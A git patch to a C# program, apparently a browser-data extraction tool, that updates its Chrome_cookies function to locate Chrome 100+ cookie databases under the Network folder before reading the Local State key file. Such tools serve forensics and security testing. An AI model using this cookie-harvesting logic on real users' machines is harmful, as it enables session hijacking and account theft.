From d327a30fa60e822d4ebc07b5de15e780a01077f9 Mon Sep 17 00:00:00 2001 From: duke Date: Sat, 21 May 2022 22:08:52 +0800 Subject: [PATCH] support export the cookies of Google Chrome 100+ --- Program.cs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/Program.cs b/Program.cs index 9e3e2b2..c37239f 100644 --- a/Program.cs +++ b/Program.cs @@ -352,7 +352,16 @@ public static bool Chrome_history() public static bool Chrome_cookies() { - string chrome_cookie_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies"; + string chrome_cookie_path = ""; + string chrome_pre100_cookie_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies"; + string chrome_100plus_cookie_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Network\Cookies"; + if (File.Exists(chrome_pre100_cookie_path) == true) + { + chrome_cookie_path = chrome_pre100_cookie_path; + } else if (File.Exists(chrome_100plus_cookie_path) == true) + { + chrome_cookie_path = chrome_100plus_cookie_path; + } if (File.Exists(chrome_cookie_path) == true) { string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";